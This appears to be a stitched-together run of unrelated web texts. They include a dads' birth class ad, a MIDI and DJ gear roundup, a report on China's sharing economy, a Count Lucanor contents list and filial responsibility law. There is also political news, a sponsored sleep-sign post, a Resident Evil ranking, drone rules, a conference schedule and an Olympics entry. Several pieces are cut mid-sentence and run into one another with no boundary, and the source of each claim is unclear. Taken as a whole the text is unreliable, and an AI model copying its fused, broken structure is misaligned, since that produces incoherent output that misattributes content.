Recommended by childbirth educators, midwives and obstetricians all over Australia, here’s some of what we cover:
What should you never say to a woman in labour?
How can you actively help with pain relief in childbirth?
How do you go in to bat for your partner if things get ugly with your caregivers?
What can you do to make childbirth faster and easier for your woman?
What should you be doing during each stage of labour and birth?
Why are the first hours after the birth so important to your baby’s health and ability to bond in the future?
All this and much more is covered in this fast-paced session where the atmosphere is informal and conversational.
You will meet “one we prepared earlier”, a dad who has recently been at the birth of his baby, as well as a bunch of other expectant dads, all in the same boat as you.
Beer + Bubs is run in local pubs in all major cities and in some regional areas including:
Sydney inner city and southern suburbs, NSW Central Coast, Melbourne (north, south and eastern suburbs), Canberra, HObart, Launceston, Adelaide, Perth, Bunbury, Mandurah (Peel district), Alice Springs and Brisbane’s northern suburbs.
“Thank you so much for what you have contributed, both Beer + Bubs and that phone call [early labour jitters]. I felt so much more equipped going into this than I |
was no exception. There were some bizarre options, like MIDI pianos built into a rocket ship, keyboards that fold in half, and a small resurgence of keytars, but on the whole a pretty standard wave of portable and studio MIDI controllers were announced.
Akai MAX49
Akai came out strong this year with an announcement to partner with iZotope, and a whole new line of computer-based MPC controllers. Perhaps the most interesting announcement they made, though, was the introduction of the MAX49 MIDI keyboard. It features a completely over-hauled keyboard of their own manufacture, and a new set of drum pads which have been redesigned to be much more sensitive (and they felt great during the demo). What's really unique about the MAX49 is the fact that it has CV outputs for trigger and gate, which can be used to drive analog gear either from the keyboard or from the built-in sequencer.
Keith McMillen QuNeo
Keith McMillen, the creator of the SoftStep and 12 Step foot controllers showed off his new drum pad controller, which he calls the QuNeo. At first glance it doesn't look like much, with no labels and a pretty standard layout of pads, faders, and buttons. There is a lot going on under the covers, though: Each of the QuNeo's pads send velocity and continuous pressure info as well as x-y location, and there are multi-touch sensitive encoders and strips that (according to the demo guys) have more resolution than most timecode vinyl. The data can be sent via MIDI without needing a driver, or the QuNeo can be switched into OSC mode and transmit via an intermediary application. Top it all off with the fact that there is multi-color LED feedback on every control, and the thing looks great for $199.
DJ GEAR
All of the usual suspects had their DJ gear on display this year, and quite a few newcomers made some moves to get involved in the world of digital DJing, with wave after wave of jogwheel-style controllers showing up wherever we went. Once you got past the toys, and the Chinese knock-offs, there were a handful of standouts that could turn out to be big news in the DJ world this year.
Numark 4TRAK
Among the interesting new additions found in the Numark booth this year was a new competitor within the high-end Traktor controller market. It sports two very high-resolution jogwheels (3600 ticks per rotation) with two-color LED rings and a huge amount of knobs and buttons, which transmit 14-bit MIDI for super accurate four-channel mixing. Its standout feature, though, is the tilted 12-knob strip that Numark calls the FX Kommand Console. These twelve dedicated knobs give you quick access to the filter and FX devices within Traktor. The 4TRAK rounds things out with a built-in sound card that provides plenty of inputs (4 line, 2 RCA turntable, and 2 microphone) and balanced outputs. It is reportedly going to be available by March with a street price of $1099 (MSRP $1499).
Allen & Heath Xone:DB2 / Xone:K2
At the A&H booth, among the usual lineup of mixers there was a setup of two new devices from the British manufacturer. The Xone:DB2 might already be familiar to you since it was announced back in September. Essentially, it is a stripped down version of the DB4, the powerhouse digital FX mixer that we reviewed this year. The DB2 achieves a lower price point by giving up the dedicated loopers per channel and reducing the FX units from 4 to 2 (now routable by bus). The K2 is a very interesting new release that takes inspiration from Native Instruments' Traktor Kontrol X1, in that it shares the same form factor and size. The biggest difference is that in addition to MIDI control, the K2 also functions as a standalone USB soundcard—a very nice addition.What's yours is mine in China but is sharing at a peak?
Media playback is unsupported on your device Media caption From footballs to gym pods, what China's economy lets you share
Ok, so car sharing makes perfect sense. And we get bike sharing, too. But ball sharing?
At a sports complex in Beijing, Wang Hui En scans a code on a locker with his smartphone.
The door clicks open and out pops a basketball, yours to use there and then for a rental fee of $0.30 (23p) or so per hour.
Mr Wang is chief executive of One Tiyu, which translates as One Sports, and he has plans to quite literally roll out 20 million soccer and basketballs across China.
"The sharing economy is indeed very hot right now," he tells me.
Image caption Wang Hui En wants to spread a sharing scheme for basketballs and footballs across China
"But we're not trying to hijack the term. We just want to provide the best experience for our customers," he says.
The sharing craze
China has embraced mobile phone based payment technology like nowhere else on the planet and it has led to the spectacular take-off of the so-called "sharing" economy.
Some of it involves genuine peer to peer sharing schemes, like matching drivers with unused capacity in their cars to passengers going the same way.
Others are more properly viewed as hi-tech rental schemes, in which products like bikes, taxi rides or balls are matched to customers, and millions of small payments are aggregated into large revenue streams.
So hot is the sector in China right now, and so rapid is the growth, that it is drawing in billions of dollars of venture capital funding.
Image caption If you illegally park your bicycle in China's Hefei, it's likely to be impounded here
But all new business models bring with them new challenges and this one is no different.
The downsides
An umbrella sharing scheme recently ran into difficulty after 300,000 'brollies reportedly went missing.
A sleep sharing scheme, in which people were able to rent time in sleeping pods for daytime naps has fallen foul of China's hotel regulations and has been closed down, at least for now.
Even bike sharing, a runaway success in terms of the numbers of users, has faced some of the same problems - from theft, vandalism and a less than wholehearted welcome from the authorities.
The sight of many thousands of bikes, impounded in a large field for being illegally parked in the city of Hefei, is a stark visual reminder that the success of such schemes depends on a lot more than just signing up enough customers.
But despite the downsides the revolutionary potential of these innovations remains strong.
Image caption Li Xiaoqun is a fan of China's sharing economy
It is the mobile tracking technology that allows China's new generation of shared bikes to be left anywhere - rather than only at docking stations.
While hundreds of thousands of bikes seemingly airdropped and scattered at random might upset the odd local official or two - the figures speak for themselves in terms of the popularity of the schemes.
In some Chinese cities, the explosion of bike sharing has, in the space of just a year or so, been responsible for a doubling in the number of cyclists.
'Revolutionary potential'
Karl Fyellstrom, an urban transport consultant with Far East BRT based in the city of Guangzhou, argues that the new businesses have done more for cycling, almost overnight, than decades of campaigning ever did.
"I've been promoting cycling for ten years, not just in China but around the world, and it's hard," he tells me.
"And then this bike sharing came along and it's just revolutionary. I see this as really historic opportunity."
In the grounds of a residential tower block, rather unflatteringly surrounded by some discarded toilets left over from a bathroom refit, Li Xiaoqun is running on a treadmill.
Image caption The gym pods aren't your average health club
It's another iteration of the sharing craze and Ms Li is trying a gym pod for the first time.
The small box-like room leaves much to be desired when compared to your average health club - not least showers and a changing room.
But at $2 an hour Ms Li seems impressed.
"People like these shared ideas," she says.
"We hope to see more shared things, they are nice surprises. We all hope the sharing schemes can develop well."Click on the Chapter Number, Title or Page Number and you will jump to the story. Click back on your browser to return to the Table of Contents.
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From Count Lucanor; of the Fifty Pleasant Stories of Patronio, written by the Prince Don Juan Manuel and first done into English by James York, M. D., 1868;; Gibbings & Company, Limited; London; 1899; pp. xiii-xvi.
xiii
CONTENTS
Page
The Prologue 1
CHAP I. — Relates to what happened to a Moorish king of Cordova. 4
CHAP II. — Treats of that which happened to Lorenzo Suarez Gallinato, and Garciperez of Vargas, and another knight. 8
CHAP III. — Treats of that which happened to Don Rodrigo el Franco and his knights. 14
CHAP IV. — Of a Hermit who sought to know whom he should have for his companion in Paradise, and of the leap made by King Richard of England.21
CHAP V. — Of that which happened to the Emperor Frederick and Don Alvar Fañez, with their wives. 29
CHAP VI. — Of that which happened to the Count of Provence and Saladin the Sultan of Babylon. 42
CHAP VII. — Of that which happened to a King and three Impostors. 52
CHAP VIII. — What happened to a King with a man who called himself an Alchymist. 58
CHAP IX. — Of that which happened to two Cavaliers who were in the service of the Infant Prince Henry. 64
CHAP X. — Concerning what happened to a Seneschal of Carcasona. 69
CHAP XI. — Of that which happened to a Moor who had a Sister pretending to be alarmed at any ordinary occurrence. 73
CHAP XII. — Of that which happened to a Dean of Santiago, with Don Illan, the Magician, who lived at Toledo. 77
CHAP XIII. — What happened to King Ben Abit, of Seville, with Queen Romaquia, his wife. 85
CHAP XIV. — Concerning what happened to a Lombardian, in Bologna. 89
CHAP XV. — What Count Fernan Gonzales said to Nuno Lainez. 92
xiv
CHAP XVI. — Of what happened to Don Rodrigo Melendez de Valdez. 95
CHAP XVII. — Concerning that which happened to a great Philosopher and a young King, his pupil. 99
CHAP XVIII. — Relates what happened to a Moorish King, who had three Sons, and who desired to know which would become the best Man. 105
CHAP XIX. — Of that which happened to the Canons of the Cathedral Church of Paris, and to the Friars of Saint Francis, called Minors. 112
CHAP XX. — Of that which happened to a Falcon and a Heron, and, more particularly, to a cunning Falcon, which belonged to the Infant Don Manuel. 115
CHAP XXI. — Recounts what happened to Count Fernan Gonzalez, and the Reply which he gave to his Vassals. 119
CHAP XXII. — Of that which happened to a King and his Favourite. 122
CHAP XXIII. — What happened to a good Man and his Son, leading a beast to market. 129
CHAP XXIV. — Of what a Genovese said to his soul when about to die. 135
CHAP XXV. — What happened to the Crow, with the Fox. 137
CHAP XXVI. — What happened to the Swallow, with the other birds, when he saw the flax sown. 142
CHAP XXVII. — Relates what happened to a Man who carried a very precious Treasure hung round his neck, and who had to pass a River. 144
CHAP XXVIII. — Of what happened to a woman called Truhana. 147
CHAP XXIX. — Of that which happened to a Man who was suffering from a malady and whose liver had to be cleansed. 150
CHAP XXX. — Of what happened to a man who through poverty and lack of other food, was reduced to eat some peas. 151
CHAP XXXI. — What happened to a Cock and a Fox. 154
CHAP XXXII. — What happened to a Man catching Partridges. 157
CHAP XXXIII. — Relates to what happened to a Man with his Friend who had invited him to dinner. 159
xv
CHAP XXXIV. — What happened to the Owls and the Crows. 161
CHAP XXXV. — The advice which Patronio gave to Count Lucanor, when he said he wished to enjoy himself, illustrated by the example of that which happened to the Ants. 165
CHAP XXXVI. — Of that which happened to a good Man and his Son, who boasted of having many Friends. 168
CHAP XXXVII. — Relates to what happened to the Lion and the Bull. 174
CHAP XXXVIII. — Relates to the advice which Patronio gave to Count Lucanor, when he expressed a desire to obtain a good reputation; and the example was what happened to a Philosopher who was suffering from a severe illness. 178
CHAP XXXIX. — Of what happened to a man who was made Governor of a large territory. 182
CHAP XL. — Of that which happened to Good and Evil, illustrated by what occurred to a Man with a Madman. 185
CHAP XLI. — Of the association between Truth and Falsehood. 191
CHAP XLII. — Of what happened to a Fox who pretended to be dead. 195
CHAP XLIII. — What happened to two blind Men travelling together. 198
CHAP XLIV. — Of what happened to a young Man on his Wedding Day.200
CHAP XLV. — Of what happened to a Merchant who went to buy brains. 207
CHAP XLVI. — What happened to a Man with a grey Sandpiper and a Swallow. 212
CHAP XLVII. — What happened to the Devil, with a Woman who went on a pilgrimage. 214
CHAP XLVIII. — The advice which Patronio gave to Count Lucanor when informed that a Man had offered to teach him the art of foretelling coming events, which he exemplified by what happened to a good Man who became first rich and afterwards poor by the intervention of the Devil. 221
CHAP XLIX. — What happened to Don Lorenzo Xuares Gallinato, when he beheaded the renegade Priest. 227
CHAP L. — Concerning that which happened to Saladin and a Lady, wife of a Knight in his service.231
[xvi]
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****************Filial responsibility is defined as a duty owed by an adult child for his parents' necessities of life. So what happens when a parent in need of long-term health care is unable to pay for it? Many states have laws that can require adult children to be financially responsible for their parents' necessities of life when the parents don't have the means to pay for them on their own.
The extent of this responsibility can vary by state. These laws are referred to as filial responsibility laws, and nursing homes and other long-term care facilities can use them as a means to seek reimbursement for unpaid bills.
Pennsylvania Case May Point to a Trend
Although filial responsibility laws have rarely been enforced in the past, a case in Pennsylvania may indicate a trend. In Health Care & Retirement Corporation of America v. Pittas (Pa. Super. Ct., No. 536 EDA 2011, May 7, 2012), the Pennsylvania Superior Court upheld a lower court's decision making an adult son liable for $93,000, a debt resulting from six months' skilled nursing care and treatment received by his mother at a Pennsylvania facility.
The court concluded that the state didn't have a duty to consider the woman's other possible sources of payment, including a husband and two other adult children or the fact that an application for Medicaid assistance was pending. Instead, the court found that the facility had adequately met its burden of proof that this particular son had the means to pay the $93,000 bill, and the trial court was correct in holding the son responsible for paying it.
This case is still perceived to be a turning point in nursing homes seeking to recover money for elder care.
The Importance of Long-Term Care Planning
This Pennsylvania case demonstrates the importance of long-term care planning from the perspectives of both elderly parents and their children. Without proper planning and legal advice from an experienced elder law attorney, adult children may very well be on the hook for thousands of dollars of care required by their aging parents.
Forty-five states once observed filial responsibility laws, but many repealed them. As of December 2017, only 29 states hold adult children accountable in some shape or form: Alaska, Arkansas, California, Connecticut, Delaware, Georgia, Indiana, Iowa, Kentucky, Louisiana, Maryland, Massachusetts, Mississippi, Montana, Nevada, New Hampshire, New Jersey, North Carolina, North Dakota, Ohio, Oregon, Pennsylvania, Rhode Island, South Dakota, Tennessee, Utah, Vermont, Virginia, West Virginia as well as Puerto Rico.
For example, Arkansas requires adult children to pay only for mental health care. Connecticut's law applies only to parents younger than 65, and adult children in Nevada are only liable if they have signed a written promise to pay for care.
Adult children need to be aware of their filial responsibility laws and act accordingly. Proper planning can help avoid potential financial disaster in the future.Email Share +1 50 Shares
A House committee is receiving significant attention for approving an amendment requiring women to register for the draft, but the same Republican-controlled panel incorporated early Thursday morning into a major defense spending bill a measure that would undermine President Obama’s executive order prohibiting anti-LGBT workplace discrimination among federal contractors.
The amendment, introduced by freshman Rep. Steve Russell (R-Okla.), would require the federal government when contracting with religious organizations to afford them exemptions consistent with the Civil Rights Act of 1964 and the American with Disabilities Act. Since neither of those laws prohibit anti-LGBT bias, the amendment would enable religious organizations doing business with the U.S. government to discriminate on the basis of sexual orientation or gender identity.
Because the measure would have the force of law, it would overrule the executive order signed by President Obama in 2014 prohibiting contractors doing more than $10,000 a year in business with the U.S. government from engaging in anti-LGBT discrimination against employees. The president included no religious exemption in his order, although he left in place a Bush-era exemption allowing religious organizations contracting with the U.S. government to favor co-religionists in hiring practices.
The amendment provides an exemption for “any religious corporation, religious association, religious educational institution or religious society” contracting with the U.S. government. All of those terms are undefined in the amendment, but the lack of definition for “religious corporation” could allow courts to construe the term broadly to any federal contractor — not just religious organizations — in the aftermath of the U.S. Supreme Court’s 2014 decision in the Hobby Lobby case.
The House Armed Services Committee approved the measure by a largely party-line 33-29 vote, including it as part of the House version of the fiscal year 2017 defense authorization bill. Reps. Joe Heck (R-Nev.) and Frank LoBiondo (R-N.J.) joined Democrats in voting against the amendment.
The committee also reported out the full legislation to the House floor, but when the Republican leadership will take it up is unknown. The next opportunity to remove the amendment will be through a floor amendment when the full House considers the measure, but the House Rules Committee would first have to approve the measure, which would be challenging because the panel is stacked heavily in favor of Republicans. If not a House floor vote, the next opportunity to remove the measure will be the conference committee when the House and Senate lawmakers hammer out the different versions of their legislation.
David Stacy, government affairs director for the Human Rights Campaign, condemned the measure in the aftermath of the committee vote.
“Rep. Russell’s harmful amendment would strip away existing protections for LGBT workers by undermining President Obama’s executive order on LGBT non-discrimination protections in federal contracting,” Stacy said. “Evidently some House Republicans want to emulate their state legislative colleagues in undermining legal protections for LGBT Americans. House Republican Leadership must get this language out of the bill.”
Jeff Tiller, a White House spokesperson, said the administration opposes “attempts to roll back non-discrimination protections for LGBT workers” in response to an inquiry over whether President Obama would veto the defense bill over the language.
“We strongly oppose attempts to roll back non-discrimination protections for LGBT workers,” Tiller said. “The president’s executive order with respect to federal contractors reflects his commitment to advancing equality in employment for the LGBT community, as well as his commitment to expanding opportunity for American workers and strengthening American business.”
But the Russell amendment wasn’t the only measure approved the committee approved as part of the defense spending bill relevant to LGBT people. The panel approved by unanimous vote in an en bloc package another measure introduced by Rep. Jackie Speier (D-Calif.) enabling transgender veterans to change their name on discharge documents.
Under current policy, transgender veterans who change their name to reflect their gender identity after leaving the service cannot receive amended discharge documents, or what the Pentagon calls the DD-214, to reflect that name change (although the U.S. military has broken this policy in a handful of cases). Every time they use this paperwork to prove their military service, the inconsistency in names forces the veteran to disclose they’re transgender.
Speier’s amendment would allow a trans veteran to update their discharge papers to reflect their new name following a change in gender identity or expression.
“Our transgender veterans deserve to have accurate military documents that don’t force them to come out with every job, college, and mortgage application,” Speier said in a statement. “A name change is so simple, and it’s the least we can do for their service to our nation. I am proud that we can provide the estimated 134,000 American transgender veterans with the respect they deserve.”Republican presidential candidate Rick Perry said on Wednesday he will propose a flat tax as part of an overhaul of the U.S. tax code as he seeks to claw his way back to the top tier of the 2012 race.
A day after a bruising debate with his rivals for his party's presidential nomination, the Texas governor told participants at a conference of Western Republicans that he will outline his economic growth package next week.
He has a speech planned for October 25 in South Carolina, the state where he first announced his candidacy in August and which holds an important early contest in the road to the Republican nomination.
"I want to make the tax code so simple that even Timothy Geithner can file his taxes on time," Perry said, referring to President Barack Obama's treasury secretary, who was famously late in filing tax returns.
Perry jumped into the front-runner position when he announced his candidacy two months ago. But a series of shaky debates has left him trailing former Massachusetts Governor Mitt Romney and businessmanHerman Cain in the race to pick the Republican candidate who will challenge Democratic President Barack Obama in November 2012.
Perry exchanged sharp blows with Romney at the CNN-sponsored debate in Las Vegas on Tuesday night in an acrimonious exchange over illegal immigration that generated front-page headlines and photographs.
Without mentioning Romney by name, Perry told the Western Republicans that he was not the establishment candidate, but was a true conservative. The Texan wants to re-establish himself as the alternative to Romney -- a distinction that, at least temporarily, has been filled by Cain.
'Unbridled truth'
Perry ridiculed U.S. news organizations that have declared that Romney looks to be the eventual nominee, saying, "Primary voters and caucus voters haven't gotten that memo yet."
"You will not hear a lot of shape-shifting nuance from me," he said. "I'm going give the American people a huge helping of unbridled truth."
At the debate, Perry criticized Cain's proposal for a 9-9-9 tax reform overhaul that many Republicans have found appealing. It would limit personal and corporate income taxes to 9 percent while creating a 9 percent national sales tax.
In his Wednesday speech, Perry said he would scrap the "3 million words of the tax code, starting over with something simpler, a flat tax," and end lawmakers' ability to attach individual spending projects -- known as earmarks -- to appropriations bills.
Perry said he also would propose an amendment to the U.S. Constitution to require that the federal budget always be balanced. This has been a long-time goal of conservatives but hard to accomplish because it would require congressional passage and ratification by two-thirds of the states.
"I will barnstorm this country from Day One by going to all 50 states if that's required for a balanced-budget amendment," he said.I worked in partnership with LectroFan on this post. They compensated us for our time to create these tags and sent me a LecroFan so I can get some sweet, sweet sleep. I love that damn thing.
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Ah, nothing like getting the baby down for an afternoon nap, only to have some dink ring the doorbell.
So when the folks that make the LectroFan (those really good sound machines) asked if there was a way for us to work together, I thought, “hmmmm, sound machines. Babies sleeping well. I know! “Do not disturb printables!”
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I designed three ever-so-tasteful signs – no reason to use Comic Sans when you’re telling people to bugger off – then asked you guys for some ideas. You never fail to impress. Here’s what you came up with.
Do-Not-Disturb Baby Door Hangers:
Instructions and Free downloads:
Let me know if you think of any other ones and I’ll try to add them! And a big time shout out to LectroFan for working with us on this – I have one of their sound machines in my son’s room and he sleeps like a bag of hammers when I put it on.
Babies have what are called “sleep arousals”, usually about every 20-45 minutes. Ever wonder why your baby only naps for 20 minutes at a time? Well it’s because when they reach sleep arousal around the20-minutee mark and are unable to fall back into deeper sleep. Nap time is over. White noise helps lengthen the time between sleep arousals, providing more peaceful naps for both of you. It also helps to block out the noise of life (other siblings, TV’s, vacuum cleaners, the neighbors blaring “Never Gonna Give You Up”, etc.) that can interfere with naps and night sleep.
The award winning LectroFan is a pure white noise and fan sound generator that features 10 digitized, nonlooping pure white noise and 10 fan sounds. Select the volume that works for you, from very loud to a soft sound. The sleep timer and compact design makes it a great fit for any nursery whether you’re at home or on the road.” Priced under 50.00, a travel case is also available for purchase.
You can find them at many retailers including Amazon, Target, and Walmart.
Our Next Recos:
Porn for Pregnant Ladies
Other Things Not to Say to a New Mom
Stroller Struggles: 5 Tips for Picking the Right StrollerWe love the Resident Evil, and with the release of Resident Evil 7 it brings the main series to 11 entries, and what better way to celebrate than create a list that will cause people to get salty over differing opinions?
This list will be the best MAINLINE games, that means no Survivor and no WII/Portable efforts and no REmakes. So only OG Resident Evil and original version of Code: Veronica.
Also, as Resident Evill VII is not yet 2 years old we will not be including it in this list.
Make sense?
Go!
10. Resident Evil 6
Easily the worse game we are including; generic, by the numbers, at parts poor gameplay, terrible story, and soulless. I honestly don’t think this entry could have had more plot holes if they tried.
Leon’s campaign is by far the best and even that is fairly inconsistent.
(Review)
9. Resident Evil 5
Basically Resident Evil 5 was a copy and paste job of 4 with a reskin. It skirted a dangerous line with potential racism which led to them shoehorning Sheva in, and then missed the mark with spear chucking tribalists. It didnt help that Sheva’s AI was thicker than a bowl of oatmeal.
The series didn’t just jump the shark, it crashed a plane into a volcano and punched the boulder…
5 is still fun to play, but you really need to find somebody to play local or online with, as the AI is truly terrible especially on the Wesker rocket dodging bit.
(Review)
8. Resident Evil
OG Resident Evil has its charms, but it has simply not aged well. While you can still have fun playing the game, there are much better Resident Evil games out there. Don’t get me wrong I do still love the game, and the difficulty is perfect but as a novice playing this you’ll be annoyed by some moments of retrospectively poor game design.
(Review)
7. Resident Evil: Revelations 2
A venerable mixed bag, it tries to combine the idiocy of Resident Evil 6 and the Survival Horror of Revelations. It does not succeed.
The story falls up it’s own arse, and becomes 6 levels of incohenrency and has significant plot holes as a result of the story structure.
You do finally get to play as Barry, which is apparently important to some people.
(Review)
6. Resident Evil: Code Veronica
For this to be so low in our list shows how much we get rate the games above it. This is where the series starts to go more action-ey and less Survival Horror, but the 3d gameplay and a semi-fixed camera angle were a massive step up from the PS1 era games.
A few frusrations can occur when the story swaps between characters, which means playing for the first time can lead to bad equipment loads outs which mean you only have a knife for final boss fight. But the Alfred and Alexa story is easily the best written part of the series, and there are moments where you actually care about characters. Even Steve, the skeevy little bitchnozzle.
(Review)
5. Resident Evil Zero
Zero is an odd one, this is where the story starts to retcon itself, and the storylines become conveluted. I mean seriously, is there a plausible way for this game to finish and OG to start? Rebecca could and should have cleared the mansion before Chris and Jill arrive, and said “Chris, Wesker is the bad guy, let’s get out of here i’ll tell you more at the station.”
The character swapping added a nice element to puzzles, but the lack of item box could get annoying as you could easily leave a tonne of ammo/weapons in an area and bork your game.
Still has some of the best water effects in a game.
(Review)
4. Resident Evil 4
Resident Evil 4 reignited a series that was struggling to find it’s feet after many misteps on the spinoff front. 4 managed to retain the Survival Horror aspects for the most part, and added in great action set-pieces. But the last 3rd of the game is a quick time heavy clusterfuck that goes slightly off the boil.
The story also gets a little stupid, and it speaks volumes for the series that a midget Napoleon isn’t one of the worst aspects of it.
Ashley might be a chore, but 4 was what the series needed.
(Review)
3. Resident Evil: Revelations
Bet you’re surprised we rated this one so highly? To be honest we were just as surprised at how Capcom knocked this one out of the park. This was a sort of spin-off that rips off Dead Aim, and is set between RE4 and RE5.
Yet somehow the story makes the most sense of the modern ones, the characters are not cartoonish, and the gameplay manages to tred the Action/Survival Horror tightrope perfectly.
Added in the Raid mode which adds a purpose to the standard “Mercenary Mode”, means there was a fair amount of replayability.
(Review)
2. Resident Evil 2
Infinitely replayable, 4 different scenarios that present the story from slightly differing perspectives, and a well balanced difficulty.
There isn’t an ounce of fat on the game either. Every room is memorable, and exploration is encouraged. Basically, you get the same sense of wonder and exploration as you do in a good Zelda game.
With lots of unlockables and a certain Soy based character unlocked for skill means there is always another challenge.
The introduction of a stalking Tyrant in the second Scenario is pant spoilingly terrifying and is a precursor to the best game in the seires!
(Review)
1. Resident Evil 3: Nemesis
Alright, you might have guessed this is our number one by process of elimination, but it was blumming close. Having the titular Nemesis pursue you throughout the game is genuinely terrifying and never gets old.
The live choices also manage to offer differences to your run through, and being brave or good and taking on the Nemesis will reward you hansomely. Getting to be Jill and kicking arse is pretty fucking cool too!
Nemesis also introduced the Mercenary Mode, and while it was a little primitive it added new reasons to play once you’re done with the main game.
(Review)
AdvertisementsUnmanned aircraft systems (UAS), or drones as they are often called, are increasingly available online and on store shelves. Prospective operators—from consumers to businesses—want to fly and fly safely, but many don’t realize that, just because you can easily acquire a UAS, doesn’t mean you can fly it anywhere, or for any purpose. “Know Before You Fly” is an educational campaign that provides prospective users with the information and guidance they need to fly safely and responsibly.
Know Before You Fly was founded by the two leading organizations with a stake in UAS safety – the Association for Unmanned Vehicle Systems International (AUVSI) and the Academy of Model Aeronautics (AMA). The campaign is conducted in partnership with the Federal Aviation Administration (FAA), the federal agency charged with keeping the U.S. national airspace safe.
IMPORTANT NOTICE: The FAA’s final rule for small, unmanned aircraft went into effect on August 29, 2016. It provides specific safety regulations for non-recreational use of unmanned aircraft weighing less than 55 pounds. That means UAS users who want to fly for commercial use (such as providing aerial surveying or photography services) or fly incidental to a business (such as performing roof inspections or real estate photography) must follow these regulations. For more information about how this rule will impact the specific way you are flying your UAS, visit the business or government entities pages on this website. To learn more or if you have any questions, check out the FAA’s Unmanned Aircraft Systems page here or email the FAA directly at UAShelp@faa.gov.The little genetically engineered worm guy’s name is Styli. Styli the Meat Tube. Or Meatube if you prefer. Either way. He prays nightly to a god that isn’t there to snuff out his wretched, tubey, meatish existence.
After playing with a Pogo Sketch stylus and an iPad at the Apple Store I asked my self this very question. “How do it work?” I still don’t have any idea, but one can only assume the maddest of sciences are involved.
C2E2 is next weekend [April 16-18]!!! Come see me and every other webcomic person I know all in one convenient spot. Oh such awkward stare there will be, children! A bounty of social anxiety!
Check out this new “Battlestar Galactica/United Nations So Say We All” T-Shirt I made for Olmos Productions, Inc.
[Edward shirts now at Topatoco!]Conference Schedule
Timetable Format: Plain List | Table | iCal | Printable Version
All times are PDT = UTC-7
Filter: Day: -all- 1 - Thursday, April/12 2 - Friday the 13th 3 - Saturday, April/14 4 - Sunday, April/15 Type: -all- Paper Presentation Workshop Concert Installation Other Author: -all- Aaron Heller Adam Neal Adam Tindale Adrian Freed Albert Gräf Andrew Allen Augusto Meijer Benjamin O'Brien Bruno Ruviaro Caroline Wilkins Charles Fox Chris Chafe Christiane Strothmann Christy Canida Conor Curran Daniel Gómez Dave Phillips Dominique Fober Eben Upon Edgar Berdahl Eric Benjamin Exomène Federico Barabino Fernando Lopez-Lezcano Florian Hartlieb Flávio Schiavoni Fons Adriaensen Frank Ekeberg Frank Neumann Giso Grimm Gordon Kruberg Grant Centauri Götz Dipper Harry van Haaren Heidi Christensen Hyung-Suk Kim IOhannes zmoelnig Ivica Bukvic Jan Jacob Hofmann Jason Jones Jason Sadural Joachim Heintz John ffitch José Rafael Subía Valdez Juan Reyes Juliana Snapper Julien Ottavi Julius Smith Jussi Pekonen Jörn Nettingsmeier Kevin Ernste Krzysztof Gawlas Kyle Machulis Lawrence Fyfe Lorenzo Franco Sutton Luca Carrubba Luis Valdivia Marcelo Queiroz Marco Donnarumma Martin Rumori Martins Rokis Matthias Geier Miller Puckette Nicola Monopoli Oded Ben-Tal Olivier Baudouin Oscar Pablo Di Liscia Peter Plessas Rafael Vega González Rees Archibald Richard Lee Roberto Morales Robin Gareus Romain Michon Romain Papion Sascha Spors Sheelagh Carpendale Smilen Dimitrov Stefania Serafin Steve Batte Steven Yi Stéphane Letz Thomas Hain Tim Blechmann Tobias Herzke Torben Hohn Victor Lazzarini Yann Orlarey Zachary Berkowitz vlax v0x
Day 1 - Thursday, April/12
Main Track
10am
Conference Welcome
10:30
The IEM Demosuite, a large-scale jukebox for |
Hurricanes and feel I will fit in nicely. The club competes well across all the competitions and it's going to be the perfect place for my young family to settle. I'm looking forward to joining the squad after my playing commitments to the Hurricanes finish in 2018."Four short stories about space exploration set in the near to far future. This is classic science fiction adventure in a futuristic technology environment. No paranormal powers, vampires, were-beings, or zombies in this collection. Approximately 18500 words in total.
Orbital Decay: The crew of a space station is left to their own devices after a global catastrophe. How will they face their future?
Guardian of Life: A war machine left over from an ancient conflict. What does an old soldier do?
Pattern From The Past: It was a new planetary colony with an old problem. Who is paying attention to detail?
Shaman: Ancient ritual and technology combine on an alien world. A starship duel and a mystery. Where will fortune lead?
============================
A brief excerpt from Orbital Decay:
"Oh, God!" Shannon said loudly. "We're going to burn up!"
"Not if I can stop it." Edward replied. He then began entering orders into the computer, going from one command menu to the next. After a few minutes of frantic typing, he suddenly stopped.
"It's not working, is it?" Shannon asked.
A brief excerpt from Guardian of Life:
Pain it had never known before registered in the central core of Hellstorrn V. Its consciousness nanocircuits shut down seconds later, even as its control systems went out in a surge. With the arrival of the gaseous shockwave from the explosion some seconds later… The Hellstorm was inoperative.
A brief excerpt from Pattern From The Past:
He had first noticed the problem earlier this year when he thought his department was getting busier than usual. A casual computer analysis confirmed his hunch, and had raised his suspicions. The number of real cases that needed his department's intervention had gone up from 456 the first year to 1482 by the end of year five. This was an increase of almost 300%.
A brief excerpt from Shaman:
"His ship had lost number two engine, the shields were down to thirty percent, with damage showing on all systems. The ship's hull had even been breached in several spots where particle beams had burned through portions of the shields. In exchange, the Drellkob cruiser had only suffered minor damage. The tactical display indicated that the Drellkob ship was standing off, and just swamping the destroyer with it's heavier firepower. Even as he watched, his ship's point-defence activated automatically. Gatling lasers in free-moving turret mounts swivelled on their own accord and began to fire bursts of coherent energy at a wave of incoming missiles; the laser bursts becoming more accurate as the enemy missiles closed in. Nine out of ten enemy missiles were vapourized in rapid succession..."
============================
Thank you to the hundreds of readers who downloaded my book in the last month. It has been very encouraging and I am working on a few additional works. Visit my author's blog at: peterlok.blogspot.com for more musings from me.Countdown clock used for the games in the shape of an arrowhead
Salt Lake City during the 2002 Winter Olympics
U.S. bobsleigh team make their way down the track at Utah Olympic Park during the men's two-man bobsleigh event at the 2002 Winter Olympic Games
The 2002 Winter Olympics, officially the XIX Olympic Winter Games and commonly known as Salt Lake 2002, was a winter multi-sport event that was celebrated from 8 to 24 February 2002 in and around Salt Lake City, Utah, United States.
Approximately 2,400 athletes from 78 nations participated in 78 events in fifteen disciplines, held throughout 165 sporting sessions.[1][2] The 2002 Winter Olympics and the 2002 Paralympic Games were both organized by the Salt Lake Organizing Committee (SLOC).[3] Utah became the fifth state in the United States to host the Olympic Games and the 2002 Winter Olympics were the last Olympics to be held in the United States until the 2028 Summer Olympics in Los Angeles.[4] These were the first Olympic Games under the IOC presidency of Jacques Rogge.
